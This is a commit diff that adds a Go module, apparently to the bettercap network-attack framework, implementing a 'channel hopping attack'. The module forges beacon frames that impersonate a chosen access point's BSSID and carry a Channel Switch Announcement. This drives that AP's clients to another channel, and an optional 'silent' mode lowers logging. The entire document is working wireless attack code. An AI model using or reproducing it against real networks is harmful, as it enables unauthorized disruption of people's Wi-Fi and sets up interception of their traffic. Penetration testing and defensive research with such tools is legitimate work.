add channel hopping attack

modules/wifi/wifi_csa.go

@@ -0,0 +1,86 @@
+package wifi
+
+import (
+	"bytes"
+	"fmt"
+	"github.com/bettercap/bettercap/network"
+	"github.com/bettercap/bettercap/packets"
+	"github.com/google/gopacket/layers"
+	"net"
+)
+
+func (mod *WiFiModule) isCSASilent() bool {
+	if err, is := mod.BoolParam("wifi.channel_switch_announce.silent"); err != nil {
+		mod.Warning("%v", err)
+	} else {
+		mod.csaSilent = is
+	}
+	return mod.csaSilent
+}
+
+func (mod *WiFiModule) sendBeaconWithCSAPacket(ap *network.AccessPoint, toChan int8) {
+	ssid := ap.ESSID()
+	if ssid == "<hidden>" {
+		ssid = ""
+	}
+	hw, _ := net.ParseMAC(ap.BSSID())
+
+	for seq := uint16(0); seq < 256 && mod.Running(); seq++ {
+		if err, pkt := packets.NewDot11Beacon(packets.Dot11ApConfig{
+			SSID:               ssid,
+			BSSID:              hw,
+			Channel:            ap.Channel,
+			Encryption:         false,
+			SpectrumManagement: true,
+		}, 0, packets.Dot11Info(layers.Dot11InformationElementIDSwitchChannelAnnounce, []byte{0, byte(toChan), 1})); err != nil {
+			mod.Error("could not create beacon packet: %s", err)
+			continue
+		} else {
+			mod.injectPacket(pkt)
+		}
+	}
+}
+
+func (mod *WiFiModule) startCSA(to net.HardwareAddr, toChan int8) error {
+	// if not already running, temporarily enable the pcap handle
+	// for packet injection
+	if !mod.Running() {
+		if err := mod.Configure(); err != nil {
+			return err
+		}
+		defer mod.handle.Close()
+	}
+
+	var ap *network.AccessPoint = nil
+
+	for _, _ap := range mod.Session.WiFi.List() {
+		if bytes.Equal(_ap.HW, to) {
+			ap = _ap
+		}
+
+	}
+
+	if ap == nil {
+		return fmt.Errorf("%s is an unknown BSSID", to.String())
+	}
+
+	mod.writes.Add(1)
+	go func() {
+		defer mod.writes.Done()
+
+		if mod.Running() {
+			logger := mod.Info
+			if mod.isCSASilent() {
+				logger = mod.Debug
+			}
+			logger("channel hop attack in AP %s (channel:%d encryption:%s), hop to channel %d ", ap.ESSID(), ap.Channel, ap.Encryption, toChan)
+			// send the beacon frame with channel switch announce element id
+			mod.onChannel(ap.Channel, func() {
+				mod.sendBeaconWithCSAPacket(ap, toChan)
+			})
+		}
+
+	}()
+
+	return nil
+}